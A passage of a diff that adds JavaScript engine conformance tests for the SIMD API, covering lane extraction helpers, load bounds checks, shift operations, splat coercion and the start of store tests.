+ else if (l == 8)
+ return assertEqX8;
+ else if (l == 16)
+ return assertEqX16;
+ else
+ throw new TypeError("Unknown SIMD kind.");
+}
+
+function assertEqVec(v, arr) {
+ var Type = GetType(v);
+ if (Type === SIMD.Int8x16) assertEqInt8x16(v, arr);
+ else if (Type === SIMD.Int16x8) assertEqInt16x8(v, arr);
+ else if (Type === SIMD.Int32x4) assertEqInt32x4(v, arr);
+ else if (Type === SIMD.Uint8x16) assertEqUint8x16(v, arr);
+ else if (Type === SIMD.Uint16x8) assertEqUint16x8(v, arr);
+ else if (Type === SIMD.Uint32x4) assertEqUint32x4(v, arr);
+ else if (Type === SIMD.Float32x4) assertEqFloat32x4(v, arr);
+ else if (Type === SIMD.Float64x2) assertEqFloat64x2(v, arr);
+ else if (Type === SIMD.Bool8x16) assertEqBool8x16(v, arr);
+ else if (Type === SIMD.Bool16x8) assertEqBool16x8(v, arr);
+ else if (Type === SIMD.Bool32x4) assertEqBool32x4(v, arr);
+ else if (Type === SIMD.Bool64x2) assertEqBool64x2(v, arr);
+ else throw new TypeError("Unknown SIMD Kind");
+}
+
+function simdToArray(v) {
+ var Type = GetType(v);
+
+ function indexes(n) {
+ var arr = [];
+ for (var i = 0; i < n; i++) arr.push(i);
+ return arr;
+ }
+
+ if (Type === SIMD.Bool8x16) {
+ return indexes(16).map((i) => SIMD.Bool8x16.extractLane(v, i));
+ }
+
+ if (Type === SIMD.Bool16x8) {
+ return indexes(8).map((i) => SIMD.Bool16x8.extractLane(v, i));
+ }
+
+ if (Type === SIMD.Bool32x4) {
+ return indexes(4).map((i) => SIMD.Bool32x4.extractLane(v, i));
+ }
+
+ if (Type === SIMD.Bool64x2) {
+ return indexes(2).map((i) => SIMD.Bool64x2.extractLane(v, i));
+ }
+
+ if (Type === SIMD.Int8x16) {
+ return indexes(16).map((i) => SIMD.Int8x16.extractLane(v, i));
+ }
+
+ if (Type === SIMD.Int16x8) {
+ return indexes(8).map((i) => SIMD.Int16x8.extractLane(v, i));
+ }
+
+ if (Type === SIMD.Int32x4) {
+ return indexes(4).map((i) => SIMD.Int32x4.extractLane(v, i));
+ }
+
+ if (Type === SIMD.Uint8x16) {
+ return indexes(16).map((i) => SIMD.Uint8x16.extractLane(v, i));
+ }
+
+ if (Type === SIMD.Uint16x8) {
+ return indexes(8).map((i) => SIMD.Uint16x8.extractLane(v, i));
+ }
+
+ if (Type === SIMD.Uint32x4) {
+ return indexes(4).map((i) => SIMD.Uint32x4.extractLane(v, i));
+ }
+
+ if (Type === SIMD.Float32x4) {
+ return indexes(4).map((i) => SIMD.Float32x4.extractLane(v, i));
+ }
+
+ if (Type === SIMD.Float64x2) {
+ return indexes(2).map((i) => SIMD.Float64x2.extractLane(v, i));
+ }
+
+ throw new TypeError("Unknown SIMD Kind");
+}
+
+const INT8_MAX = Math.pow(2, 7) -1;
+const INT8_MIN = -Math.pow(2, 7);
+assertEq((INT8_MAX + 1) << 24 >> 24, INT8_MIN);
+const INT16_MAX = Math.pow(2, 15) - 1;
+const INT16_MIN = -Math.pow(2, 15);
+assertEq((INT16_MAX + 1) << 16 >> 16, INT16_MIN);
+const INT32_MAX = Math.pow(2, 31) - 1;
+const INT32_MIN = -Math.pow(2, 31);
+assertEq(INT32_MAX + 1 | 0, INT32_MIN);
+
+const UINT8_MAX = Math.pow(2, 8) - 1;
+const UINT16_MAX = Math.pow(2, 16) - 1;
+const UINT32_MAX = Math.pow(2, 32) - 1;
+
+function testUnaryFunc(v, simdFunc, func) {
+ var varr = simdToArray(v);
+
+ var observed = simdToArray(simdFunc(v));
+ var expected = varr.map(function(v, i) { return func(varr[i]); });
+
+ for (var i = 0; i < observed.length; i++)
+ assertEq(observed[i], expected[i]);
+}
+
+function testBinaryFunc(v, w, simdFunc, func) {
+ var varr = simdToArray(v);
+ var warr = simdToArray(w);
+
+ var observed = simdToArray(simdFunc(v, w));
+ var expected = varr.map(function(v, i) { return func(varr[i], warr[i]); });
+
+ for (var i = 0; i < observed.length; i++)
+ assertEq(observed[i], expected[i]);
+}
+
+function testBinaryCompare(v, w, simdFunc, func, outType) {
+ var varr = simdToArray(v);
+ var warr = simdToArray(w);
+
+ var inLanes = simdLength(v);
+ var observed = simdToArray(simdFunc(v, w));
+ var outTypeLen = simdLengthType(outType);
+ assertEq(observed.length, outTypeLen);
+ for (var i = 0; i < outTypeLen; i++) {
+ var j = ((i * inLanes) / outTypeLen) | 0;
+ assertEq(observed[i], func(varr[j], warr[j]));
+ }
+}
+
+function testBinaryScalarFunc(v, scalar, simdFunc, func) {
+ var varr = simdToArray(v);
+
+ var observed = simdToArray(simdFunc(v, scalar));
+ var expected = varr.map(function(v, i) { return func(varr[i], scalar); });
+
+ for (var i = 0; i < observed.length; i++)
+ assertEq(observed[i], expected[i]);
+}
+
+// Our array for Int32x4 and Float32x4 will have 16 elements
+const SIZE_8_ARRAY = 64;
+const SIZE_16_ARRAY = 32;
+const SIZE_32_ARRAY = 16;
+const SIZE_64_ARRAY = 8;
+
+const SIZE_BYTES = SIZE_32_ARRAY * 4;
+
+function MakeComparator(kind, arr, shared) {
+ var bpe = arr.BYTES_PER_ELEMENT;
+ var uint8 = (bpe != 1) ? new Uint8Array(arr.buffer) : arr;
+
+ // Size in bytes of a single element in the SIMD vector.
+ var sizeOfLaneElem;
+ // Typed array constructor corresponding to the SIMD kind.
+ var typedArrayCtor;
+ switch (kind) {
+ case 'Int8x16':
+ sizeOfLaneElem = 1;
+ typedArrayCtor = Int8Array;
+ break;
+ case 'Int16x8':
+ sizeOfLaneElem = 2;
+ typedArrayCtor = Int16Array;
+ break;
+ case 'Int32x4':
+ sizeOfLaneElem = 4;
+ typedArrayCtor = Int32Array;
+ break;
+ case 'Uint8x16':
+ sizeOfLaneElem = 1;
+ typedArrayCtor = Uint8Array;
+ break;
+ case 'Uint16x8':
+ sizeOfLaneElem = 2;
+ typedArrayCtor = Uint16Array;
+ break;
+ case 'Uint32x4':
+ sizeOfLaneElem = 4;
+ typedArrayCtor = Uint32Array;
+ break;
+ case 'Float32x4':
+ sizeOfLaneElem = 4;
+ typedArrayCtor = Float32Array;
+ break;
+ case 'Float64x2':
+ sizeOfLaneElem = 8;
+ typedArrayCtor = Float64Array;
+ break;
+ default:
+ assertEq(true, false, "unknown SIMD kind");
+ }
+ var lanes = 16 / sizeOfLaneElem;
+ // Reads (numElemToRead * sizeOfLaneElem) bytes in arr, and reinterprets
+ // these bytes as a typed array equivalent to the typed SIMD vector.
+ var slice = function(start, numElemToRead) {
+ // Read enough bytes
+ var startBytes = start * bpe;
+ var endBytes = startBytes + numElemToRead * sizeOfLaneElem;
+ var asArray = Array.prototype.slice.call(uint8, startBytes, endBytes);
+
+ // If length is less than SIZE_BYTES bytes, fill with 0.
+ // This is needed for load1, load2, load3 which do only partial
+ // reads.
+ for (var i = asArray.length; i < SIZE_BYTES; i++) asArray[i] = 0;
+ assertEq(asArray.length, SIZE_BYTES);
+
+ return new typedArrayCtor(new Uint8Array(asArray).buffer);
+ }
+
+ var assertFunc = getAssertFuncFromLength(lanes);
+ var type = SIMD[kind];
+ return {
+ load1: function(index) {
+ if (lanes >= 8) // Int8x16 and Int16x8 only support load, no load1/load2/etc.
+ return
+ var v = type.load1(arr, index);
+ assertFunc(v, slice(index, 1));
+ },
+
+ load2: function(index) {
+ if (lanes !== 4)
+ return;
+ var v = type.load2(arr, index);
+ assertFunc(v, slice(index, 2));
+ },
+
+ load3: function(index) {
+ if (lanes !== 4)
+ return;
+ var v = type.load3(arr, index);
+ assertFunc(v, slice(index, 3));
+ },
+
+ load: function(index) {
+ var v = type.load(arr, index);
+ assertFunc(v, slice(index, lanes));
+ }
+ }
+}
+
+function testLoad(kind, TA) {
+ var lanes = TA.length / 4;
+ for (var i = TA.length; i--;)
+ TA[i] = i;
+
+ for (var ta of [
+ new Uint8Array(TA.buffer),
+ new Int8Array(TA.buffer),
+ new Uint16Array(TA.buffer),
+ new Int16Array(TA.buffer),
+ new Uint32Array(TA.buffer),
+ new Int32Array(TA.buffer),
+ new Float32Array(TA.buffer),
+ new Float64Array(TA.buffer)
+ ])
+ {
+ // Invalid args
+ assertThrowsInstanceOf(() => SIMD[kind].load(), TypeError);
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta), TypeError);
+ assertThrowsInstanceOf(() => SIMD[kind].load("hello", 0), TypeError);
+ // Indexes must be integers, there is no rounding.
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta, 1.5), RangeError);
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta, -1), RangeError);
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta, "hello"), RangeError);
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta, NaN), RangeError);
+ // Try to trip up the bounds checking. Int32 is enough for everybody.
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta, 0x100000000), RangeError);
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta, 0x80000000), RangeError);
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta, 0x40000000), RangeError);
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta, 0x20000000), RangeError);
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta, (1<<30) * (1<<23) - 1), RangeError);
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta, (1<<30) * (1<<23)), RangeError);
+
+ // Valid and invalid reads
+ var C = MakeComparator(kind, ta);
+ var bpe = ta.BYTES_PER_ELEMENT;
+
+ var lastValidArgLoad1 = (SIZE_BYTES - (16 / lanes)) / bpe | 0;
+ var lastValidArgLoad2 = (SIZE_BYTES - 8) / bpe | 0;
+ var lastValidArgLoad3 = (SIZE_BYTES - 12) / bpe | 0;
+ var lastValidArgLoad = (SIZE_BYTES - 16) / bpe | 0;
+
+ C.load(0);
+ C.load(1);
+ C.load(2);
+ C.load(3);
+ C.load(lastValidArgLoad);
+
+ C.load1(0);
+ C.load1(1);
+ C.load1(2);
+ C.load1(3);
+ C.load1(lastValidArgLoad1);
+
+ C.load2(0);
+ C.load2(1);
+ C.load2(2);
+ C.load2(3);
+ C.load2(lastValidArgLoad2);
+
+ C.load3(0);
+ C.load3(1);
+ C.load3(2);
+ C.load3(3);
+ C.load3(lastValidArgLoad3);
+
+ assertThrowsInstanceOf(() => SIMD[kind].load(ta, lastValidArgLoad + 1), RangeError);
+ if (lanes <= 4) {
+ assertThrowsInstanceOf(() => SIMD[kind].load1(ta, lastValidArgLoad1 + 1), RangeError);
+ }
+ if (lanes == 4) {
+ assertThrowsInstanceOf(() => SIMD[kind].load2(ta, lastValidArgLoad2 + 1), RangeError);
+ assertThrowsInstanceOf(() => SIMD[kind].load3(ta, lastValidArgLoad3 + 1), RangeError);
+ }
+
+ // Indexes are coerced with ToNumber. Try some strings that
+ // CanonicalNumericIndexString() would reject.
+ C.load("1.0e0");
+ C.load(" 2");
+ }
+
+ if (lanes == 4) {
+ // Test ToNumber behavior.
+ var obj = {
+ valueOf: function() { return 12 }
+ }
+ var v = SIMD[kind].load(TA, obj);
+ assertEqX4(v, [12, 13, 14, 15]);
+ }
+
+ var obj = {
+ valueOf: function() { throw new TypeError("i ain't a number"); }
+ }
+ assertThrowsInstanceOf(() => SIMD[kind].load(TA, obj), TypeError);
+}
+
+var Helpers = {
+ testLoad,
+ MakeComparator
+};
diff --git a/js/src/tests/ecma_7/SIMD/shifts.js b/js/src/tests/ecma_7/SIMD/shifts.js
new file mode 100644
index 000000000..1d81f7483
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/shifts.js
@@ -0,0 +1,202 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var Int8x16 = SIMD.Int8x16;
+var Int16x8 = SIMD.Int16x8;
+var Int32x4 = SIMD.Int32x4;
+var Uint8x16 = SIMD.Uint8x16;
+var Uint16x8 = SIMD.Uint16x8;
+var Uint32x4 = SIMD.Uint32x4;
+
+// Int8 shifts.
+function lsh8(a, b) {
+ return (a << (b & 7)) << 24 >> 24;
+}
+function rsha8(a, b) {
+ return (a >> (b & 7)) << 24 >> 24;
+}
+function rshl8(a, b) {
+ return (a >>> (b & 7)) << 24 >> 24;
+}
+
+// Int16 shifts.
+function lsh16(a, b) {
+ return (a << (b & 15)) << 16 >> 16;
+}
+function rsha16(a, b) {
+ return (a >> (b & 15)) << 16 >> 16;
+}
+function rshl16(a, b) {
+ return (a >>> (b & 15)) << 16 >> 16;
+}
+
+// Int32 shifts.
+function lsh32(a, b) {
+ return (a << (b & 31)) | 0;
+}
+function rsha32(a, b) {
+ return (a >> (b & 31)) | 0;
+}
+function rshl32(a, b) {
+ return (a >>> (b & 31)) | 0;
+}
+
+// Uint8 shifts.
+function ulsh8(a, b) {
+ return (a << (b & 7)) << 24 >>> 24;
+}
+function ursha8(a, b) {
+ return ((a << 24 >> 24) >> (b & 7)) << 24 >>> 24;
+}
+function urshl8(a, b) {
+ return (a >>> (b & 7)) << 24 >>> 24;
+}
+
+// Uint16 shifts.
+function ulsh16(a, b) {
+ return (a << (b & 15)) << 16 >>> 16;
+}
+function ursha16(a, b) {
+ return ((a << 16 >> 16) >> (b & 15)) << 16 >>> 16;
+}
+function urshl16(a, b) {
+ return (a >>> (b & 15)) << 16 >>> 16;
+}
+
+// Uint32 shifts.
+function ulsh32(a, b) {
+ return (a << (b & 31)) >>> 0;
+}
+function ursha32(a, b) {
+ return ((a | 0) >> (b & 31)) >>> 0;
+}
+function urshl32(a, b) {
+ return (a >>> (b & 31)) >>> 0;
+}
+
+function test() {
+ function TestError() {};
+
+ var good = {valueOf: () => 21};
+ var bad = {valueOf: () => {throw new TestError(); }};
+
+ for (var v of [
+ Int8x16(-1, 2, -3, 4, -5, 6, -7, 8, -9, 10, -11, 12, -13, 14, -15, 16),
+ Int8x16(INT8_MAX, INT8_MIN, INT8_MAX - 1, INT8_MIN + 1)
+ ])
+ {
+ for (var bits = -2; bits < 12; bits++) {
+ testBinaryScalarFunc(v, bits, Int8x16.shiftLeftByScalar, lsh8);
+ testBinaryScalarFunc(v, bits, Int8x16.shiftRightByScalar, rsha8);
+ }
+ // Test that the shift count is coerced to an int32.
+ testBinaryScalarFunc(v, undefined, Int8x16.shiftLeftByScalar, lsh8);
+ testBinaryScalarFunc(v, 3.5, Int8x16.shiftLeftByScalar, lsh8);
+ testBinaryScalarFunc(v, good, Int8x16.shiftLeftByScalar, lsh8);
+ }
+ for (var v of [
+ Int16x8(-1, 2, -3, 4, -5, 6, -7, 8),
+ Int16x8(INT16_MAX, INT16_MIN, INT16_MAX - 1, INT16_MIN + 1)
+ ])
+ {
+ for (var bits = -2; bits < 20; bits++) {
+ testBinaryScalarFunc(v, bits, Int16x8.shiftLeftByScalar, lsh16);
+ testBinaryScalarFunc(v, bits, Int16x8.shiftRightByScalar, rsha16);
+ }
+ // Test that the shift count is coerced to an int32.
+ testBinaryScalarFunc(v, undefined, Int16x8.shiftLeftByScalar, lsh16);
+ testBinaryScalarFunc(v, 3.5, Int16x8.shiftLeftByScalar, lsh16);
+ testBinaryScalarFunc(v, good, Int16x8.shiftLeftByScalar, lsh16);
+ }
+ for (var v of [
+ Int32x4(-1, 2, -3, 4),
+ Int32x4(INT32_MAX, INT32_MIN, INT32_MAX - 1, INT32_MIN + 1)
+ ])
+ {
+ for (var bits = -2; bits < 36; bits++) {
+ testBinaryScalarFunc(v, bits, Int32x4.shiftLeftByScalar, lsh32);
+ testBinaryScalarFunc(v, bits, Int32x4.shiftRightByScalar, rsha32);
+ }
+ // Test that the shift count is coerced to an int32.
+ testBinaryScalarFunc(v, undefined, Int32x4.shiftLeftByScalar, lsh32);
+ testBinaryScalarFunc(v, 3.5, Int32x4.shiftLeftByScalar, lsh32);
+ testBinaryScalarFunc(v, good, Int32x4.shiftLeftByScalar, lsh32);
+ }
+
+ for (var v of [
+ Uint8x16(-1, 2, -3, 4, -5, 6, -7, 8, -9, 10, -11, 12, -13, 14, -15, 16),
+ Uint8x16(INT8_MAX, INT8_MIN, INT8_MAX - 1, INT8_MIN + 1, UINT8_MAX, UINT8_MAX - 1)
+ ])
+ {
+ for (var bits = -2; bits < 12; bits++) {
+ testBinaryScalarFunc(v, bits, Uint8x16.shiftLeftByScalar, ulsh8);
+ testBinaryScalarFunc(v, bits, Uint8x16.shiftRightByScalar, urshl8);
+ }
+ // Test that the shift count is coerced to an int32.
+ testBinaryScalarFunc(v, undefined, Uint8x16.shiftLeftByScalar, ulsh8);
+ testBinaryScalarFunc(v, 3.5, Uint8x16.shiftLeftByScalar, ulsh8);
+ testBinaryScalarFunc(v, good, Uint8x16.shiftLeftByScalar, ulsh8);
+ }
+ for (var v of [
+ Uint16x8(-1, 2, -3, 4, -5, 6, -7, 8),
+ Uint16x8(INT16_MAX, INT16_MIN, INT16_MAX - 1, INT16_MIN + 1, UINT16_MAX, UINT16_MAX - 1)
+ ])
+ {
+ for (var bits = -2; bits < 20; bits++) {
+ testBinaryScalarFunc(v, bits, Uint16x8.shiftLeftByScalar, ulsh16);
+ testBinaryScalarFunc(v, bits, Uint16x8.shiftRightByScalar, urshl16);
+ }
+ // Test that the shift count is coerced to an int32.
+ testBinaryScalarFunc(v, undefined, Uint16x8.shiftLeftByScalar, ulsh16);
+ testBinaryScalarFunc(v, 3.5, Uint16x8.shiftLeftByScalar, ulsh16);
+ testBinaryScalarFunc(v, good, Uint16x8.shiftLeftByScalar, ulsh16);
+ }
+ for (var v of [
+ Uint32x4(-1, 2, -3, 4),
+ Uint32x4(UINT32_MAX, UINT32_MAX - 1, 0, 1),
+ Uint32x4(INT32_MAX, INT32_MIN, INT32_MAX - 1, INT32_MIN + 1)
+ ])
+ {
+ for (var bits = -2; bits < 36; bits++) {
+ testBinaryScalarFunc(v, bits, Uint32x4.shiftLeftByScalar, ulsh32);
+ testBinaryScalarFunc(v, bits, Uint32x4.shiftRightByScalar, urshl32);
+ }
+ // Test that the shift count is coerced to an int32.
+ testBinaryScalarFunc(v, undefined, Uint32x4.shiftLeftByScalar, ulsh32);
+ testBinaryScalarFunc(v, 3.5, Uint32x4.shiftLeftByScalar, ulsh32);
+ testBinaryScalarFunc(v, good, Uint32x4.shiftLeftByScalar, ulsh32);
+ }
+
+ var v = SIMD.Int8x16(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.shiftLeftByScalar(v, bad), TestError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.shiftRightByScalar(v, bad), TestError);
+
+ var v = SIMD.Int16x8(1,2,3,4,5,6,7,8);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.shiftLeftByScalar(v, bad), TestError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.shiftRightByScalar(v, bad), TestError);
+
+ var v = SIMD.Int32x4(1,2,3,4);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.shiftLeftByScalar(v, bad), TestError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.shiftRightByScalar(v, bad), TestError);
+
+ var v = SIMD.Uint8x16(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.shiftLeftByScalar(v, bad), TestError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.shiftRightByScalar(v, bad), TestError);
+
+ var v = SIMD.Uint16x8(1,2,3,4,5,6,7,8);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.shiftLeftByScalar(v, bad), TestError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.shiftRightByScalar(v, bad), TestError);
+
+ var v = SIMD.Uint32x4(1,2,3,4);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.shiftLeftByScalar(v, bad), TestError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.shiftRightByScalar(v, bad), TestError);
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+test();
diff --git a/js/src/tests/ecma_7/SIMD/splat.js b/js/src/tests/ecma_7/SIMD/splat.js
new file mode 100644
index 000000000..1ab7ec98c
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/splat.js
@@ -0,0 +1,97 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+var Float64x2 = SIMD.Float64x2;
+var Float32x4 = SIMD.Float32x4;
+var Int8x16 = SIMD.Int8x16;
+var Int16x8 = SIMD.Int16x8;
+var Int32x4 = SIMD.Int32x4;
+var Uint8x16 = SIMD.Uint8x16;
+var Uint16x8 = SIMD.Uint16x8;
+var Uint32x4 = SIMD.Uint32x4;
+var Bool8x16 = SIMD.Bool8x16;
+var Bool16x8 = SIMD.Bool16x8;
+var Bool32x4 = SIMD.Bool32x4;
+
+function TestSplatX16(type, inputs, coerceFunc) {
+ for (var x of inputs) {
+ assertEqX16(SIMD[type].splat(x), [x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x].map(coerceFunc));
+ }
+}
+
+function TestSplatX8(type, inputs, coerceFunc) {
+ for (var x of inputs) {
+ assertEqX8(SIMD[type].splat(x), [x, x, x, x, x, x, x, x].map(coerceFunc));
+ }
+}
+
+function TestSplatX4(type, inputs, coerceFunc) {
+ for (var x of inputs) {
+ assertEqX4(SIMD[type].splat(x), [x, x, x, x].map(coerceFunc));
+ }
+}
+
+function TestSplatX2(type, inputs, coerceFunc) {
+ for (var x of inputs) {
+ assertEqX2(SIMD[type].splat(x), [x, x].map(coerceFunc));
+ }
+}
+
+function test() {
+ function TestError(){};
+
+ var good = {valueOf: () => 19.89};
+ var bad = {valueOf: () => { throw new TestError(); }};
+
+ TestSplatX16('Int8x16', [0, 1, 2, -1, -2, 3, -3, 4, -4, 5, -5, 6, INT8_MIN, INT8_MAX, INT8_MIN - 1, INT8_MAX + 1], (x) => x << 24 >> 24);
+ assertEqX16(Int8x16.splat(), [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.splat(bad), TestError);
+
+ TestSplatX8('Int16x8', [0, 1, 2, -1, INT16_MIN, INT16_MAX, INT16_MIN - 1, INT16_MAX + 1], (x) => x << 16 >> 16);
+ assertEqX8(Int16x8.splat(), [0, 0, 0, 0, 0, 0, 0, 0]);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.splat(bad), TestError);
+
+ TestSplatX4('Int32x4', [0, undefined, 3.5, 42, -1337, INT32_MAX, INT32_MAX + 1, good], (x) => x | 0);
+ assertEqX4(SIMD.Int32x4.splat(), [0, 0, 0, 0]);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.splat(bad), TestError);
+
+ TestSplatX16('Uint8x16', [0, 1, 2, -1, -2, 3, -3, 4, -4, 5, -5, 6, INT8_MIN, INT8_MAX, INT8_MIN - 1, INT8_MAX + 1], (x) => x << 24 >>> 24);
+ assertEqX16(Uint8x16.splat(), [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.splat(bad), TestError);
+
+ TestSplatX8('Uint16x8', [0, 1, 2, -1, INT16_MIN, INT16_MAX, INT16_MIN - 1, INT16_MAX + 1], (x) => x << 16 >>> 16);
+ assertEqX8(Uint16x8.splat(), [0, 0, 0, 0, 0, 0, 0, 0]);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.splat(bad), TestError);
+
+ TestSplatX4('Uint32x4', [0, undefined, 3.5, 42, INT32_MAX, INT32_MIN, UINT32_MAX, UINT32_MAX + 1, good], (x) => x >>> 0);
+ assertEqX4(SIMD.Uint32x4.splat(), [0, 0, 0, 0]);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.splat(bad), TestError);
+
+ TestSplatX4('Float32x4', [0, undefined, 3.5, 42, -13.37, Infinity, NaN, -0, good], (x) => Math.fround(x));
+ assertEqX4(SIMD.Float32x4.splat(), [NaN, NaN, NaN, NaN]);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.splat(bad), TestError);
+
+ TestSplatX2('Float64x2', [0, undefined, 3.5, 42, -13.37, Infinity, NaN, -0, good], (x) => +x);
+ assertEqX2(SIMD.Float64x2.splat(), [NaN, NaN]);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.splat(bad), TestError);
+
+ TestSplatX16('Bool8x16', [true, false], (x) => !!x);
+ assertEqX16(Bool8x16.splat(), [false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16.splat(bad), [true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true]);
+
+ TestSplatX8('Bool16x8', [true, false], (x) => !!x);
+ assertEqX8(Bool16x8.splat(), [false, false, false, false, false, false, false, false]);
+ assertEqX8(Bool16x8.splat(bad), [true, true, true, true, true, true, true, true]);
+
+ TestSplatX4('Bool32x4', [true, false], (x) => !!x);
+ assertEqX4(SIMD.Bool32x4.splat(), [false, false, false, false]);
+ assertEqX4(SIMD.Bool32x4.splat(bad), [true, true, true, true]);
+
+ TestSplatX2('Bool64x2', [true, false], (x) => !!x);
+ assertEqX2(SIMD.Bool64x2.splat(), [false, false]);
+ assertEqX2(SIMD.Bool64x2.splat(bad), [true, true]);
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+test();
diff --git a/js/src/tests/ecma_7/SIMD/store.js b/js/src/tests/ecma_7/SIMD/store.js
new file mode 100644
index 000000000..ef3c2249e
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/store.js
@@ -0,0 +1,264 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+// As SIMD.*.store is entirely symmetric to SIMD.*.load, this file just
+// contains basic tests to store on one single TypedArray kind, while load is
+// exhaustively tested. See load.js for more details.
+
+const POISON = 42;
+
+function reset(ta) {
+ for (var i = 0; i < ta.length; i++)
+ ta[i] = POISON + i;
+}
+
+function assertChanged(ta, from, expected) {
+ var i = 0;
+ for (; i < from; i++)
+ assertEq(ta[i], POISON + i);
+ for (; i < from + expected.length; i++)
+ assertEq(ta[i], expected[i - from]);
+ for (; i < ta.length; i++)
+ assertEq(ta[i], POISON + i);
+}
+
+function testStore(ta, kind, i, v) {
+ var asArr = simdToArray(v);
+
+ reset(ta);
+ SIMD[kind].store(ta, i, v);
+ assertChanged(ta, i, asArr);
+
+ var length = asArr.length;
+ if (length >= 8) // Int8x16 and Int16x8 only support store, and not store1/store2/etc.
+ return;
+
+ reset(ta);
+ SIMD[kind].store1(ta, i, v);
+ assertChanged(ta, i, [asArr[0]]);
+ if (length > 2) {
+ reset(ta);
+ SIMD[kind].store2(ta, i, v);
+ assertChanged(ta, i, [asArr[0], asArr[1]]);
+
+ reset(ta);
+ SIMD[kind].store3(ta, i, v);
+ assertChanged(ta, i, [asArr[0], asArr[1], asArr[2]]);
+ }
+}
+
+function testStoreInt8x16(Buffer) {
+ var I8 = new Int8Array(new Buffer(32));
+
+ var v = SIMD.Int8x16(0, 1, INT8_MAX, INT8_MIN, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15);
+ testStore(I8, 'Int8x16', 0, v);
+ testStore(I8, 'Int8x16', 1, v);
+ testStore(I8, 'Int8x16', 2, v);
+ testStore(I8, 'Int8x16', 16, v);
+
+ assertThrowsInstanceOf(() => SIMD.Int8x16.store(I8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.store(I8, 0), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.store(I8, 0, v), TypeError);
+}
+
+function testStoreInt16x8(Buffer) {
+ var I16 = new Int16Array(new Buffer(64));
+
+ var v = SIMD.Int16x8(0, 1, INT16_MAX, INT16_MIN, 4, 5, 6, 7);
+ testStore(I16, 'Int16x8', 0, v);
+ testStore(I16, 'Int16x8', 1, v);
+ testStore(I16, 'Int16x8', 2, v);
+ testStore(I16, 'Int16x8', 24, v);
+
+ assertThrowsInstanceOf(() => SIMD.Int16x8.store(I16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.store(I16, 0), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.store(I16, 0, v), TypeError);
+}
+
+function testStoreInt32x4(Buffer) {
+ var I32 = new Int32Array(new Buffer(64));
+
+ var v = SIMD.Int32x4(0, 1, Math.pow(2,31) - 1, -Math.pow(2, 31));
+ testStore(I32, 'Int32x4', 0, v);
+ testStore(I32, 'Int32x4', 1, v);
+ testStore(I32, 'Int32x4', 2, v);
+ testStore(I32, 'Int32x4', 12, v);
+
+ assertThrowsInstanceOf(() => SIMD.Int32x4.store(I32), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.store(I32, 0), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.store(I32, 0, v), TypeError);
+}
+
+function testStoreUint8x16(Buffer) {
+ var I8 = new Uint8Array(new Buffer(32));
+
+ var v = SIMD.Uint8x16(0, 1, INT8_MAX, INT8_MIN, UINT8_MAX, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15);
+ testStore(I8, 'Uint8x16', 0, v);
+ testStore(I8, 'Uint8x16', 1, v);
+ testStore(I8, 'Uint8x16', 2, v);
+ testStore(I8, 'Uint8x16', 16, v);
+
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.store(I8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.store(I8, 0), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.store(I8, 0, v), TypeError);
+}
+
+function testStoreUint16x8(Buffer) {
